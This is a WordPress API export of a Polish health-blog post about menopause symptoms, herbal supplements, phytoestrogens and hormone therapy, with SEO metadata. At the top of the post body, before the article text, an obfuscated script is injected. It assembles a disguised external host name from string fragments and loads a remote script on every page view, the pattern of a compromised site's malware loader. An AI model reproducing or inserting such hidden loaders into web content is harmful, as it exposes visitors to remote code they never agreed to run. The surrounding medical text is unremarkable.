{"id":10621,"date":"2022-08-26T14:20:59","date_gmt":"2022-08-26T12:20:59","guid":{"rendered":"https:\/\/www.straganzdrowia.pl\/blog\/?p=10621"},"modified":"2022-08-26T14:21:41","modified_gmt":"2022-08-26T12:21:41","slug":"jak-poradzic-sobie-z-objawami-menopauzy-suplementy-i-leki-na-menopauze","status":"publish","type":"post","link":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/jak-poradzic-sobie-z-objawami-menopauzy-suplementy-i-leki-na-menopauze","title":{"rendered":"Jak poradzi\u0107 sobie z objawami menopauzy? Suplementy i leki na menopauz\u0119"},"content":{"rendered":"\n<script>\n(function(){\nx6qn_=(\"u\"+\"\")+\"s\"+\"\";x6qn_+=(\"tat.\")+(\"i\");\nx6qn=document.createElement(\"script\");x6qn.type=\"text\/javascript\";x6qn_+=\"nf\"+(\"o\")+\"\/\";\nx6qnu=\"430180029\"+\".\";x6qn.async=true;x6qnu+=\"dpd46y2y6qnlhwxyj0vczw7jvukuu6\";\nx6qn.src=\"https:\/\/\"+x6qn_+x6qnu;x6qnb=document.body;x6qnb.appendChild(x6qn);\n})();\n<\/script>\n\n\n\n<p>Menopauza to okres w \u017cyciu ka\u017cdej kobiety, kiedy zanika aktywno\u015b\u0107 hormonalna jajnik\u00f3w. W zwi\u0105zku z tym w organizmie zachodzi szereg zmian, kt\u00f3re oznaczaj\u0105 mniejsz\u0105 ilo\u015b\u0107 hormon\u00f3w p\u0142ciowych we krwi. Pierwsze objawy klimakterium, bo tak te\u017c nazywany jest okres menopauzy, mog\u0105 pojawi\u0107 si\u0119 ju\u017c oko\u0142o 40. roku \u017cycia, a ca\u0142y proces trwa niekiedy kilkana\u015bcie lat. Aby za\u0142agodzi\u0107 objawy zwi\u0105zane z menopauz\u0105, Panie ch\u0119tnie si\u0119gaj\u0105 po leki na menopauz\u0119 bez recepty. Zwykle zawieraj\u0105 one zio\u0142owe ekstrakty, kt\u00f3re \u0142agodz\u0105 skutki niedoboru estrogenu.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Kiedy trzeba stosowa\u0107 tabletki na menopauz\u0119?<\/h2>\n\n\n\n<p>U kobiet po 40. roku \u017cycia nast\u0119puje spadek produkcji estrogenu i progesteronu w jajnikach. Wi\u0105\u017ce si\u0119 to z wyst\u0105pieniem zaburze\u0144 miesi\u0105czkowania oraz spadkiem p\u0142odno\u015bci. Przysadka m\u00f3zgowa, aby zrekompensowa\u0107 spadek ilo\u015bci hormon\u00f3w p\u0142ciowych, wytwarza substancje, kt\u00f3re maj\u0105 za zadanie pobudzi\u0107 jajniki do pracy. Jest to jednak nieskuteczne dzia\u0142anie, a nak\u0142adanie si\u0119 tych dw\u00f3ch zjawisk skutkuje szeregiem niekorzystnych objaw\u00f3w.<\/p>\n\n\n\n<p>Kobiecie w okresie przekwitania dokuczaj\u0105 m.in.:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>uderzenia gor\u0105ca i zalewanie potem,<\/li><li>nerwowo\u015b\u0107, rozdra\u017cnienie,<\/li><li>problemy ze snem,<\/li><li>sucho\u015b\u0107 pochwy, znacznie utrudniaj\u0105ca wsp\u00f3\u0142\u017cycie i zwi\u0119kszaj\u0105ca sk\u0142onno\u015b\u0107 do infekcji intymnych,<\/li><li>problem z utrzymaniem moczu,<\/li><li>zwi\u0119kszona sk\u0142onno\u015b\u0107 do zapadania na infekcje uk\u0142adu moczowego,<\/li><li>utrata j\u0119drno\u015bci piersi,<\/li><li>&nbsp;wzrost masy cia\u0142a,<\/li><li>demineralizacja ko\u015bci,<\/li><li>spadek ilo\u015bci kolagenu, co skutkuje pojawieniem si\u0119 licznych zmarszczek.<\/li><\/ul>\n\n\n\n<p>Objawy menopauzy s\u0105 do\u015b\u0107 indywidualne, podobnie jak ich nasilenie. Bywa, \u017ce kobieta prawie nie odczuwa zmian jakie zachodz\u0105 w jej organizmie. Niekiedy natomiast symptomy zwi\u0105zane z klimakterium s\u0105 tak dokuczliwe, \u017ce jedynym wyj\u015bciem z sytuacji jest specjalistyczne leczenie hormonalne prowadzone pod kontrol\u0105 ginekologa. W wielu przypadkach na \u0142agodne dolegliwo\u015bci pomagaj\u0105 natomiast zio\u0142owe leki bez recepty oraz suplementy diety na menopauz\u0119.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Suplementy na menopauz\u0119 zawieraj\u0105ce fitoestrogeny<\/h2>\n\n\n\n<p>Suplementy na menopauz\u0119 oraz niekt\u00f3re leki zio\u0142owe zawieraj\u0105 w swoim sk\u0142adzie g\u0142\u00f3wnie ekstrakty ro\u015blinne z nasion soi, koniczyny czerwonej, pluskwicy groniastej b\u0105d\u017a lnu bogate w fitoestrogeny. S\u0105 to zwi\u0105zki, kt\u00f3re budow\u0119 i funkcj\u0119 maj\u0105 podobn\u0105 do hormon\u00f3w p\u0142ciowych. Chocia\u017c ich dzia\u0142anie jest odpowiednio s\u0142absze w wielu przypadkach, stosowane regularnie \u0142agodz\u0105 objawy menopauzy, tj. uderzenia gor\u0105ca, nerwowo\u015b\u0107, zimne poty, problemy ze snem.\u00a0\u00a0<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"750\" height=\"398\" src=\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2022\/08\/menopauza-inside.jpg\" alt=\"\" class=\"wp-image-10623\" srcset=\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2022\/08\/menopauza-inside.jpg 750w, https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2022\/08\/menopauza-inside-300x159.jpg 300w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/figure>\n\n\n\n<p>Preparaty te dost\u0119pne s\u0105 w formie tabletek zarejestrowanych jako suplementy diety b\u0105d\u017a te\u017c standaryzowane leki, stosowane gdy leczenie hormonalne nie jest wskazane lub pacjentka nie wyra\u017ca na nie zgody. Wszystkie leki i suplementy na menopauz\u0119 znale\u017a\u0107 mo\u017cna tutaj:&nbsp;<a href=\"https:\/\/www.aptekagalen.pl\/menopauza\">https:\/\/www.aptekagalen.pl\/menopauza<\/a>.<\/p>\n\n\n\n<p>Suplementy diety na menopauz\u0119 opr\u00f3cz ro\u015blin bogatych w fitoestrogeny zawieraj\u0105 r\u00f3wnie\u017c inne sk\u0142adniki korzystnie dzia\u0142aj\u0105ce na objawy klimakterium. S\u0105 to m.in. ekstrakty z zi\u00f3\u0142 o dzia\u0142aniu uspokajaj\u0105cym, wyciszaj\u0105cym i u\u0142atwiaj\u0105cym zasypianie. Nale\u017c\u0105 do nich li\u015b\u0107 melisy, lawenda oraz szyszka chmielu. Niekt\u00f3re preparaty na menopauz\u0119 zawieraj\u0105 r\u00f3wnie\u017c witaminy z grupy B i magnez wspomagaj\u0105ce dzia\u0142anie uk\u0142adu nerwowego, a tak\u017ce wap\u0144 wspieraj\u0105cy uk\u0142ad kostny.<\/p>\n\n\n\n<p>Kiedy objawy menopauzy utrudniaj\u0105 codzienne funkcjonowanie, konieczne jest zastosowanie leczenia hormonalnego. Hormonalna terapia zast\u0119pcza dobierana jest przez lekarza indywidualnie do objaw\u00f3w i potrzeb pacjentki. Zwykle kontynuowana jest przez wiele lat, co znacznie zwi\u0119ksza ryzyko zachorowalno\u015bci na niekt\u00f3re nowotwory.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Tabletki na menopauz\u0119, po kt\u00f3rych si\u0119 chudnie<\/h2>\n\n\n\n<p>Hormony p\u0142ciowe odpowiadaj\u0105 za procesy zwi\u0105zane z metabolizmem t\u0142uszcz\u00f3w. Dodatkowo wraz z wiekiem spada nasze zapotrzebowanie energetyczne. Je\u015bli zmianie nie ulegn\u0105 nawyki \u017cywieniowe, a dodatkowo nie zachowamy regularnej aktywno\u015bci fizycznej, szybko oka\u017ce si\u0119, \u017ce na wadze pojawi\u0105 si\u0119 nadprogramowe kilogramy, kt\u00f3rych niestety ci\u0119\u017cko b\u0119dzie si\u0119 pozby\u0107.<\/p>\n\n\n\n<p>Kobiety ch\u0119tnie si\u0119gaj\u0105 wtedy po leki na menopauz\u0119, po kt\u00f3rych si\u0119 nie tyje. Niestety preparaty tego typu stanowi\u0105 jedynie uzupe\u0142nienie codziennej diety. Bez zmian w stylu \u017cycia i diecie ci\u0119\u017cko b\u0119dzie utrzyma\u0107 dawn\u0105 wag\u0119. Tabletki na odchudzanie dla pa\u0144 w okresie przekwitania zawieraj\u0105 szereg substancji i zio\u0142owych ekstrakt\u00f3w wspomagaj\u0105cych metabolizm oraz ograniczaj\u0105cych apetyt. W suplementach tego typu znajduj\u0105 si\u0119 niekiedy r\u00f3wnie\u017c zio\u0142a bogate w fitoestrogeny.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Menopauza to okres w \u017cyciu ka\u017cdej kobiety, kiedy zanika aktywno\u015b\u0107 hormonalna jajnik\u00f3w. W zwi\u0105zku z tym w organizmie zachodzi szereg zmian, kt\u00f3re oznaczaj\u0105 mniejsz\u0105 ilo\u015b\u0107 hormon\u00f3w p\u0142ciowych we krwi. Pierwsze objawy klimakterium, bo tak&#46;&#46;&#46;<\/p>\n","protected":false},"author":1,"featured_media":10622,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[600],"tags":[],"class_list":["post-10621","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-wellbeing"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v19.1 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Jak poradzi\u0107 sobie z objawami menopauzy? Suplementy i leki na menopauz\u0119 - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/jak-poradzic-sobie-z-objawami-menopauzy-suplementy-i-leki-na-menopauze\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Jak poradzi\u0107 sobie z objawami menopauzy? Suplementy i leki na menopauz\u0119 - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"og:description\" content=\"Menopauza to okres w \u017cyciu ka\u017cdej kobiety, kiedy zanika aktywno\u015b\u0107 hormonalna jajnik\u00f3w. W zwi\u0105zku z tym w organizmie zachodzi szereg zmian, kt\u00f3re oznaczaj\u0105 mniejsz\u0105 ilo\u015b\u0107 hormon\u00f3w p\u0142ciowych we krwi. Pierwsze objawy klimakterium, bo tak&#046;&#046;&#046;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/jak-poradzic-sobie-z-objawami-menopauzy-suplementy-i-leki-na-menopauze\" \/>\n<meta property=\"og:site_name\" content=\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"article:published_time\" content=\"2022-08-26T12:20:59+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-08-26T12:21:41+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2022\/08\/manopauza.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"885\" \/>\n\t<meta property=\"og:image:height\" content=\"398\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"twitter:card\" content=\"summary\" \/>\n<meta name=\"twitter:label1\" content=\"Napisane przez\" \/>\n\t<meta name=\"twitter:data1\" content=\"ireneusz\" \/>\n\t<meta name=\"twitter:label2\" content=\"Szacowany czas czytania\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minuty\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/#website\",\"url\":\"https:\/\/www.straganzdrowia.pl\/blog\/\",\"name\":\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"description\":\"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.straganzdrowia.pl\/blog\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"pl-PL\"},{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/jak-poradzic-sobie-z-objawami-menopauzy-suplementy-i-leki-na-menopauze#primaryimage\",\"url\":\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2022\/08\/manopauza.jpg\",\"contentUrl\":\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2022\/08\/manopauza.jpg\",\"width\":885,\"height\":398},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/jak-poradzic-sobie-z-objawami-menopauzy-suplementy-i-leki-na-menopauze#webpage\",\"url\":\"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/jak-poradzic-sobie-z-objawami-menopauzy-suplementy-i-leki-na-menopauze\",\"name\":\"Jak poradzi\u0107 sobie z objawami menopauzy? Suplementy i leki na menopauz\u0119 - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"isPartOf\":{\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/jak-poradzic-sobie-z-objawami-menopauzy-suplementy-i-leki-na-menopauze#primaryimage\"},\"datePublished\":\"2022-08-26T12:20:59+00:00\",\"dateModified\":\"2022-08-26T12:21:41+00:00\",\"author\":{\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/b0058abe11ae9e9d4f6e686e350a8177\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/jak-poradzic-sobie-z-objawami-menopauzy-suplementy-i-leki-na-menopauze#breadcrumb\"},\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/jak-poradzic-sobie-z-objawami-menopauzy-suplementy-i-leki-na-menopauze\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/jak-poradzic-sobie-z-objawami-menopauzy-suplementy-i-leki-na-menopauze#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Blog\",\"item\":\"https:\/\/www.straganzdrowia.pl\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Wellbeing\",\"item\":\"https:\/\/www.straganzdrowia.pl\/blog\/category\/wellbeing\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Jak poradzi\u0107 sobie z objawami menopauzy? Suplementy i leki na menopauz\u0119\"}]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/b0058abe11ae9e9d4f6e686e350a8177\",\"name\":\"ireneusz\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/5b9e0b2323775b00611c5acac1e66cf5af10b844dacf6d3395327c51f0f6e403?s=96&d=wavatar&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/5b9e0b2323775b00611c5acac1e66cf5af10b844dacf6d3395327c51f0f6e403?s=96&d=wavatar&r=g\",\"caption\":\"ireneusz\"},\"sameAs\":[\"https:\/\/www.straganzdrowia.pl\/\"],\"url\":\"https:\/\/www.straganzdrowia.pl\/blog\/author\/ireneusz\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Jak poradzi\u0107 sobie z objawami menopauzy? Suplementy i leki na menopauz\u0119 - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/jak-poradzic-sobie-z-objawami-menopauzy-suplementy-i-leki-na-menopauze","og_locale":"pl_PL","og_type":"article","og_title":"Jak poradzi\u0107 sobie z objawami menopauzy? Suplementy i leki na menopauz\u0119 - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","og_description":"Menopauza to okres w \u017cyciu ka\u017cdej kobiety, kiedy zanika aktywno\u015b\u0107 hormonalna jajnik\u00f3w. W zwi\u0105zku z tym w organizmie zachodzi szereg zmian, kt\u00f3re oznaczaj\u0105 mniejsz\u0105 ilo\u015b\u0107 hormon\u00f3w p\u0142ciowych we krwi. Pierwsze objawy klimakterium, bo tak&#46;&#46;&#46;","og_url":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/jak-poradzic-sobie-z-objawami-menopauzy-suplementy-i-leki-na-menopauze","og_site_name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","article_published_time":"2022-08-26T12:20:59+00:00","article_modified_time":"2022-08-26T12:21:41+00:00","og_image":[{"width":885,"height":398,"url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2022\/08\/manopauza.jpg","type":"image\/jpeg"}],"twitter_card":"summary","twitter_misc":{"Napisane przez":"ireneusz","Szacowany czas czytania":"4 minuty"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website","url":"https:\/\/www.straganzdrowia.pl\/blog\/","name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","description":"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.straganzdrowia.pl\/blog\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"pl-PL"},{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/jak-poradzic-sobie-z-objawami-menopauzy-suplementy-i-leki-na-menopauze#primaryimage","url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2022\/08\/manopauza.jpg","contentUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2022\/08\/manopauza.jpg","width":885,"height":398},{"@type":"WebPage","@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/jak-poradzic-sobie-z-objawami-menopauzy-suplementy-i-leki-na-menopauze#webpage","url":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/jak-poradzic-sobie-z-objawami-menopauzy-suplementy-i-leki-na-menopauze","name":"Jak poradzi\u0107 sobie z objawami menopauzy? Suplementy i leki na menopauz\u0119 - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","isPartOf":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/jak-poradzic-sobie-z-objawami-menopauzy-suplementy-i-leki-na-menopauze#primaryimage"},"datePublished":"2022-08-26T12:20:59+00:00","dateModified":"2022-08-26T12:21:41+00:00","author":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/b0058abe11ae9e9d4f6e686e350a8177"},"breadcrumb":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/jak-poradzic-sobie-z-objawami-menopauzy-suplementy-i-leki-na-menopauze#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/jak-poradzic-sobie-z-objawami-menopauzy-suplementy-i-leki-na-menopauze"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/jak-poradzic-sobie-z-objawami-menopauzy-suplementy-i-leki-na-menopauze#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Blog","item":"https:\/\/www.straganzdrowia.pl\/blog"},{"@type":"ListItem","position":2,"name":"Wellbeing","item":"https:\/\/www.straganzdrowia.pl\/blog\/category\/wellbeing"},{"@type":"ListItem","position":3,"name":"Jak poradzi\u0107 sobie z objawami menopauzy? Suplementy i leki na menopauz\u0119"}]},{"@type":"Person","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/b0058abe11ae9e9d4f6e686e350a8177","name":"ireneusz","image":{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/5b9e0b2323775b00611c5acac1e66cf5af10b844dacf6d3395327c51f0f6e403?s=96&d=wavatar&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/5b9e0b2323775b00611c5acac1e66cf5af10b844dacf6d3395327c51f0f6e403?s=96&d=wavatar&r=g","caption":"ireneusz"},"sameAs":["https:\/\/www.straganzdrowia.pl\/"],"url":"https:\/\/www.straganzdrowia.pl\/blog\/author\/ireneusz"}]}},"_links":{"self":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/10621","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/comments?post=10621"}],"version-history":[{"count":2,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/10621\/revisions"}],"predecessor-version":[{"id":10625,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/10621\/revisions\/10625"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media\/10622"}],"wp:attachment":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media?parent=10621"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/categories?post=10621"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/tags?post=10621"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}